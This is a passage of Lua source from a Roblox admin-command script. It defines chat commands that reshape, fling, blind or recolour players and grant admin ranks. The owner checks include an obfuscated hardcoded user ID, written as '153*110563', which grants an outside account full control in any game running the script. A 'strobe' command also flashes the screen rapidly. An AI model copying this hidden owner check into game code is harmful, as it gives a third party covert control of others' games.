if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1743
v.Character.Torso.Transparency = 0
1744
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1745
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1746
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1747
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1748
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1749
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1750
end
1751
end))
1752
end
1753
end
1754
1755
if msg:lower():sub(1,8) == "creeper " then
1756
local plrz = GetPlr(plr, msg:lower():sub(9))
1757
for i, v in pairs(plrz) do
1758
coroutine.resume(coroutine.create(function()
1759
if v and v.Character and v.Character:findFirstChild("Torso") then
1760
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1761
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1762
v.Character.Torso.Transparency = 0
1763
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1764
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1765
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1766
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1767
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1768
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1769
end
1770
end))
1771
end
1772
end
1773
1774
if msg:lower():sub(1,10) == "uncreeper " then
1775
local plrz = GetPlr(plr, msg:lower():sub(11))
1776
for i, v in pairs(plrz) do
1777
coroutine.resume(coroutine.create(function()
1778
if v and v.Character and v.Character:findFirstChild("Torso") then
1779
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1780
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1781
v.Character.Torso.Transparency = 0
1782
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1783
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1784
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1785
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1786
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1787
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1788
end
1789
end))
1790
end
1791
end
1792
1793
if msg:lower():sub(1,8) == "bighead " then
1794
local plrz = GetPlr(plr, msg:lower():sub(9))
1795
for i, v in pairs(plrz) do
1796
coroutine.resume(coroutine.create(function()
1797
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1798
end))
1799
end
1800
end
1801
1802
if msg:lower():sub(1,9) == "minihead " then
1803
local plrz = GetPlr(plr, msg:lower():sub(10))
1804
for i, v in pairs(plrz) do
1805
coroutine.resume(coroutine.create(function()
1806
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1807
end))
1808
end
1809
end
1810
1811
if msg:lower():sub(1,6) == "fling " then
1812
local plrz = GetPlr(plr, msg:lower():sub(7))
1813
for i, v in pairs(plrz) do
1814
coroutine.resume(coroutine.create(function()
1815
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
1816
local xran local zran
1817
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1818
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1819
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1820
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1821
end
1822
end))
1823
end
1824
end
1825
1826
if msg:lower():sub(1,8) == "seizure " then
1827
local plrz = GetPlr(plr, msg:lower():sub(9))
1828
for i, v in pairs(plrz) do
1829
coroutine.resume(coroutine.create(function()
1830
if v and v.Character then 
1831
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
1832
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1833
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1834
end
1835
end))
1836
end
1837
end
1838
1839
if msg:lower():sub(1,10) == "unseizure " then
1840
local plrz = GetPlr(plr, msg:lower():sub(11))
1841
for i, v in pairs(plrz) do
1842
coroutine.resume(coroutine.create(function()
1843
if v and v.Character then 
1844
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1845
wait(.1) v.Character.Humanoid.PlatformStand = false
1846
end
1847
end))
1848
end
1849
end
1850
1851
if msg:lower():sub(1,12) == "removelimbs " then
1852
local plrz = GetPlr(plr, msg:lower():sub(13))
1853
for i, v in pairs(plrz) do
1854
coroutine.resume(coroutine.create(function()
1855
if v and v.Character then 
1856
for a, obj in pairs(v.Character:children()) do 
1857
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1858
end
1859
end
1860
end))
1861
end
1862
end
1863
1864
if msg:lower():sub(1,5) == "name " then
1865
local chk1 = msg:lower():sub(6):find(" ") + 5
1866
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1867
for i, v in pairs(plrz) do
1868
coroutine.resume(coroutine.create(function()
1869
if v and v.Character and v.Character:findFirstChild("Head") then 
1870
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1871
local char = v.Character
1872
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1873
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1874
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1875
char.Head.Transparency = 1
1876
end
1877
end))
1878
end
1879
end
1880
1881
if msg:lower():sub(1,7) == "unname " then
1882
local plrz = GetPlr(plr, msg:lower():sub(8))
1883
for i, v in pairs(plrz) do
1884
coroutine.resume(coroutine.create(function()
1885
if v and v.Character and v.Character:findFirstChild("Head") then 
1886
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1887
end
1888
end))
1889
end
1890
end
1891
1892
if msg:lower():sub(1,5) == "char " then
1893
local chk1 = msg:lower():sub(6):find(" ") + 5
1894
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1895
for i, v in pairs(plrz) do
1896
coroutine.resume(coroutine.create(function()
1897
if v and v.Character then 
1898
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1899
v:LoadCharacter()
1900
end
1901
end))
1902
end
1903
end
1904
1905
if msg:lower():sub(1,7) == "unchar " then
1906
local plrz = GetPlr(plr, msg:lower():sub(8))
1907
for i, v in pairs(plrz) do
1908
coroutine.resume(coroutine.create(function()
1909
if v and v.Character then 
1910
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1911
v:LoadCharacter()
1912
end
1913
end))
1914
end
1915
end
1916
1917
if msg:lower():sub(1,7) == "infect " then
1918
local plrz = GetPlr(plr, msg:lower():sub(8))
1919
for i, v in pairs(plrz) do
1920
coroutine.resume(coroutine.create(function()
1921
if v and v.Character then
1922
Infect(v.Character)
1923
end
1924
end))
1925
end
1926
end
1927
1928
if msg:lower():sub(1,11) == "rainbowify " then
1929
local plrz = GetPlr(plr, msg:lower():sub(12))
1930
for i, v in pairs(plrz) do
1931
coroutine.resume(coroutine.create(function()
1932
if v and v.Character and v.Character:findFirstChild("Torso") then 
1933
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1934
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1935
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1936
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1937
cl.Parent = v.Character cl.Disabled = false
1938
end
1939
end))
1940
end
1941
end
1942
1943
if msg:lower():sub(1,9) == "flashify " then
1944
local plrz = GetPlr(plr, msg:lower():sub(10))
1945
for i, v in pairs(plrz) do
1946
coroutine.resume(coroutine.create(function()
1947
if v and v.Character and v.Character:findFirstChild("Torso") then 
1948
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1949
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1950
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1951
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1952
cl.Parent = v.Character cl.Disabled = false
1953
end
1954
end))
1955
end
1956
end
1957
1958
if msg:lower():sub(1,8) == "noobify " then
1959
local plrz = GetPlr(plr, msg:lower():sub(9))
1960
for i, v in pairs(plrz) do
1961
coroutine.resume(coroutine.create(function()
1962
if v and v.Character then
1963
Noobify(v.Character)
1964
end
1965
end))
1966
end
1967
end
1968
1969
if msg:lower():sub(1,9) == "ghostify " then
1970
local plrz = GetPlr(plr, msg:lower():sub(10))
1971
for i, v in pairs(plrz) do
1972
coroutine.resume(coroutine.create(function()
1973
if v and v.Character and v.Character:findFirstChild("Torso") then 
1974
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1975
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1976
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1977
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1978
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1979
if prt.Name:find("Leg") then prt.Transparency = 1 end
1980
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1981
end end
1982
end
1983
end))
1984
end
1985
end
1986
1987
if msg:lower():sub(1,8) == "goldify " then
1988
local plrz = GetPlr(plr, msg:lower():sub(9))
1989
for i, v in pairs(plrz) do
1990
coroutine.resume(coroutine.create(function()
1991
if v and v.Character and v.Character:findFirstChild("Torso") then 
1992
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1993
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1994
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1995
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1996
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1997
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
1998
end end
1999
end
2000
end))
2001
end
2002
end
2003
2004
if msg:lower():sub(1,6) == "shiny " then
2005
local plrz = GetPlr(plr, msg:lower():sub(7))
2006
for i, v in pairs(plrz) do
2007
coroutine.resume(coroutine.create(function()
2008
if v and v.Character and v.Character:findFirstChild("Torso") then 
2009
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
2010
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
2011
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2012
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2013
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
2014
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
2015
end end
2016
end
2017
end))
2018
end
2019
end
2020
2021
if msg:lower():sub(1,7) == "normal " then
2022
local plrz = GetPlr(plr, msg:lower():sub(8))
2023
for i, v in pairs(plrz) do
2024
coroutine.resume(coroutine.create(function()
2025
if v and v.Character and v.Character:findFirstChild("Torso") then
2026
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
2027
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
2028
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
2029
v.Character.Torso.Transparency = 0
2030
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
2031
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
2032
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
2033
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
2034
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
2035
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2036
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2037
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
2038
if prt.Name == "FAKETORSO" then prt:Destroy() end
2039
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
2040
end end
2041
end
2042
end))
2043
end
2044
end
2045
2046
if msg:lower():sub(1,7) == "trippy " then
2047
local plrz = GetPlr(plr, msg:lower():sub(8))
2048
for i, v in pairs(plrz) do
2049
coroutine.resume(coroutine.create(function()
2050
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2051
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2052
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
2053
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2054
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
2055
end
2056
end))
2057
end
2058
end
2059
2060
if msg:lower():sub(1,9) == "untrippy " then
2061
local plrz = GetPlr(plr, msg:lower():sub(10))
2062
for i, v in pairs(plrz) do
2063
coroutine.resume(coroutine.create(function()
2064
if v and v:findFirstChild("PlayerGui") then 
2065
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
2066
end
2067
end))
2068
end
2069
end
2070
2071
if msg:lower():sub(1,7) == "strobe " then
2072
local plrz = GetPlr(plr, msg:lower():sub(8))
2073
for i, v in pairs(plrz) do
2074
coroutine.resume(coroutine.create(function()
2075
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2076
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2077
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
2078
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2079
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
2080
end
2081
end))
2082
end
2083
end
2084
2085
if msg:lower():sub(1,9) == "unstrobe " then
2086
local plrz = GetPlr(plr, msg:lower():sub(10))
2087
for i, v in pairs(plrz) do
2088
coroutine.resume(coroutine.create(function()
2089
if v and v:findFirstChild("PlayerGui") then 
2090
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
2091
end
2092
end))
2093
end
2094
end
2095
2096
if msg:lower():sub(1,6) == "blind " then
2097
local plrz = GetPlr(plr, msg:lower():sub(7))
2098
for i, v in pairs(plrz) do
2099
coroutine.resume(coroutine.create(function()
2100
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2101
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2102
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
2103
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2104
end
2105
end))
2106
end
2107
end
2108
2109
if msg:lower():sub(1,8) == "unblind " then
2110
local plrz = GetPlr(plr, msg:lower():sub(9))
2111
for i, v in pairs(plrz) do
2112
coroutine.resume(coroutine.create(function()
2113
if v and v:findFirstChild("PlayerGui") then 
2114
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
2115
end
2116
end))
2117
end
2118
end
2119
2120
if msg:lower():sub(1,7) == "guifix " then
2121
local plrz = GetPlr(plr, msg:lower():sub(8))
2122
for i, v in pairs(plrz) do
2123
coroutine.resume(coroutine.create(function()
2124
if v and v:findFirstChild("PlayerGui") then 
2125
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2126
end
2127
end))
2128
end
2129
end
2130
2131
if msg:lower():sub(1,9) == "loopheal " then
2132
local plrz = GetPlr(plr, msg:lower():sub(10))
2133
for i, v in pairs(plrz) do
2134
if v then
2135
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
2136
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2137
repeat wait()
2138
coroutine.resume(coroutine.create(function()
2139
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
2140
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
2141
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
2142
end
2143
end))
2144
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2145
end
2146
end
2147
end
2148
2149
if msg:lower():sub(1,11) == "unloopheal " then
2150
local plrz = GetPlr(plr, msg:lower():sub(12))
2151
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2152
end
2153
2154
if msg:lower():sub(1,10) == "loopfling " then
2155
local plrz = GetPlr(plr, msg:lower():sub(11))
2156
for i, v in pairs(plrz) do
2157
if v then
2158
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
2159
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2160
repeat
2161
coroutine.resume(coroutine.create(function()
2162
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
2163
local xran local zran
2164
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
2165
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
2166
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
2167
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
2168
end
2169
end))
2170
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2171
end
2172
end
2173
end
2174
2175
if msg:lower():sub(1,12) == "unloopfling " then
2176
local plrz = GetPlr(plr, msg:lower():sub(13))
2177
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2178
end
2179
	
2180
end
2181
2182
-------------------------
2183
-- True Owner Commands --
2184
-------------------------
2185
2186
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
2187
2188
if msg:lower():sub(1,3) == "oa " then
2189
local plrz = GetPlr(plr, msg:lower():sub(4))
2190
for i, v in pairs(plrz) do
2191
coroutine.resume(coroutine.create(function()
2192
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2193
end))
2194
end
2195
end
2196
2197
if msg:lower():sub(1,5) == "unoa " then
2198
for i = 1, #owners do
2199
coroutine.resume(coroutine.create(function()
2200
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
2201
end))
2202
end
2203
end
2204
2205
if msg:lower() == "settings" then
2206
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
2207
local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
2208
local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
2209
local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
2210
local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
2211
local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
2212
local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
2213
local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
2214
if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
2215
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
2216
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
2217
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
2218
end
2219
2220
end
2221
2222
--------------------
2223
-- Owner Commands --
2224
--------------------
2225
2226
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
2227
2228
if msg:lower():sub(1,3) == "pa " then
2229
local plrz = GetPlr(plr, msg:lower():sub(4))
2230
for i, v in pairs(plrz) do
2231
coroutine.resume(coroutine.create(function()
2232
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2233
end))
2234
end
2235
end
2236
2237
if msg:lower():sub(1,5) == "unpa " then
2238
for i = 1, #admins do
2239
coroutine.resume(coroutine.create(function()
2240
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2241
end))
2242
end
2243
end
2244
2245
if msg:lower():sub(1,5) == "nuke " then
2246
local plrz = GetPlr(plr, msg:lower():sub(6))
2247
for i, v in pairs(plrz) do
2248
coroutine.resume(coroutine.create(function()
2249
if v and v.Character and v.Character:findFirstChild("Torso") then
2250
local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
2251
p.Anchored = true
2252
p.CanCollide = false
2253
p.formFactor = "Symmetric"
2254
p.Shape = "Ball"
2255
p.Size = Vector3.new(1,1,1)
2256
p.BrickColor = BrickColor.new("New Yeller")
2257
p.Transparency = .5
2258
p.Reflectance = .2
2259
p.TopSurface = 0
2260
p.BottomSurface = 0
2261
p.Touched:connect(function(hit)
2262
if hit and hit.Parent then
2263
